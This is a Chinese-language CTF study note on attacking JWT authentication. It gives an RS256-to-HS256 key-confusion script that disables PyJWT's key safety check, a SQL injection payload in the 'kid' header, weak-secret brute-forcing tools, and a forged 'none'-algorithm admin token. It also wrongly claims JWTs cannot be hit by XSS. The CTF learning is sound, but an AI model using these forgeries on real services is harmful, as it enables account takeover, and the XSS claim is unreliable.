参考链接:
https://blog.csdn.net/qq_43500877/article/details/90273139?depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2&utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2
https://www.cnblogs.com/xiaozi/p/12031111.html
jwt是什么:
jwt是一种验证手法,类似于cookie但不同于cookie,最大的不同就是jwt不像cookie那样存在于服务器中,而是存在于本地中,所以不存在xss
jwt格式
使用jwt需要在授权header中写:Authorization: Bearer <token>
jwt一般由3部分组成:
1.header:JWT和正在使用的散列算法。例如:
{"alg":"HS256","typ":"JWT"}
2.payload:用户定义的数据,例如:
{"secretid":2,"username":"admin1","password":"admin"}
3.signature:签名部分,签名的创建必须是要采用header,payload,密钥,利用header中的算法进行签名
然后将这三者用"."连接起来,并进行base64编码形成t=一个完整的jwt,例如:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MiwidXNlcm5hbWUiOiJhZG1pbjEiLCJwYXNzd29yZCI6ImFkbWluIiwiaWF0IjoxNTg3MjYwOTIxfQ.-PGIVfwBn8isl2nb3zuQva3wu5nA7nfmTz0O53X_D2E
对于这类jwt的攻击,有
算法修改:
若拿到了公钥,就能对jwt进行解密
假如公钥模数极大,不能被分解,而我们又没有私钥可以尝试把RS256改为HS256,即把非对称加密改为对称加密,对称加密只有一个key。
这里有几道例题:(由于无法复现,所以这里只是学习记录一下)
1.第一种,属于RS256,一直公钥或者通过一些途径可以获得公钥,那么利用公钥伪造jwt,这里的题是私钥加密,公钥解密,有函数如下:
function getpubkey(){
/*
get the pubkey for test
/pubkey/{hash}
*/
}
提示:/pubkey/md5(username+password)
访问此url可得到公钥,对公钥进行解析,发现无法分离,所以这里考虑把非对称加密变为对称加密(把RS256变为HS256),使得只需要知道公钥就可以对jwt进行修改和解密
(当然这里需要后端代码的配合)
构造脚本如下:
import jwt
import base64
public = open('1.txt', 'r').read()
print jwt.encode({"name": "adminsky","priv": "admin"}, key=public, algorithm='HS256')
直接运行这段代码会报错,追溯到库的源码
def prepare_key(self, key):
key = force_bytes(key)
invalid_strings = [
b'-----BEGIN PUBLIC KEY-----',
b'-----BEGIN CERTIFICATE-----',
b'-----BEGIN RSA PUBLIC KEY-----',
b'ssh-rsa'
]
if any([string_value in key for string_value in invalid_strings]):
raise InvalidKeyError(
'The specified key is an asymmetric key or x509 certificate and'
' should not be used as an HMAC secret.')
return key
prepare_key会判断是否有非法字符,简单粗暴的注释掉
def prepare_key(self, key):
key = force_bytes(key)
return key
保存后再运行得到新jwt
第二种:密钥可控
据说是一道国赛的题目:
eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiI4MjAxIn0.eyJuYW1lIjoiYWRtaW4yMzMzIn0.aC0DlfB3pbeIqAQ18PaaTOPA5PSipJe651w7E0BZZRI
header头:
{
"typ":"JWT",
"alg":"sha256",
"kid":"8201"
}
其中kid为密钥key的编号id
逻辑类似为:
sql="select * from table where kid=$kid"
这里可以进行sql注入:kid = 0 union select 12345
这样我们就控制了key,那么就可伪造jwt
还有一道也是密钥可控:
{
“kid”:“keys/3c3c2ea1c3f113f649dc9389dd71b851”,
“typ”:“JWT”,
“alg”:“RS256”
}
题目有个功能是写东西保存到本地(在这里就是服务器)
所以可以自己写公钥保存到服务器,然后用相应的私钥去篡改(讲真这么不是很看得懂)
第三种:密钥爆破
HS签名算法中,只有一个密钥,那么就可能出现弱口令,爆破工具:
c-jwt-cracker-master(基于c的爆破)
jwt_tool-master(基于python,需要字典)
和一个解密网站:
https://jwt.io/
第四种,在虎符ctf中遇到的jwt,比赛中没做出来,来学习一下
比赛的时候知道需要用admin的jwt来登录,但是奈何死都不知道公钥,也没法爆破,所以就卡在了那里。
谁曾想,竟是个任意文件读取
通过:
view-source:http://4d66305b-974d-49d3-ac15-a09ea69157b6.node3.buuoj.cn/static/js/app.js
知道出题人把路径设置为了根目录,而NodeJS 应用常见主文件 app.js
所以直接读取app.js
view-source:http://4d66305b-974d-49d3-ac15-a09ea69157b6.node3.buuoj.cn/app.js
由于nodejs的require(./test)—》相当于require(./test.js)
所以得到存在着三个目录,rest.js,controller.js,views.js
从rest.js和controller.js中读出还存在着:controllers目录,在这个文件下还存在着接口文件api.js
从api.js中读到得到flag的接口
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
同时还有jwt的令牌生成代码
实话,这题,这分析源码我是分析不出来,引用大佬的结论吧
当加密时使用的是 none 方法,验证时只要密钥处为 undefined 或者空之类的,即便后面的算法指名为 HS256,验证也还是按照none 来验证通过,这样很轻松地就可以伪造一个 username 为 admin 的 jwttoken 了。
所以我们只需要生成一个 secretid 为空数组的令牌,username 设置为 admin,加密方式为 none,即可绕过验证,使得最后登录时验证的用户名为 admin。
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTU4NzMwMjYxN30.
所以带着这个jwt去访问/api/flag即可
参考自大佬:
https://www.zhaoj.in/read-6512.html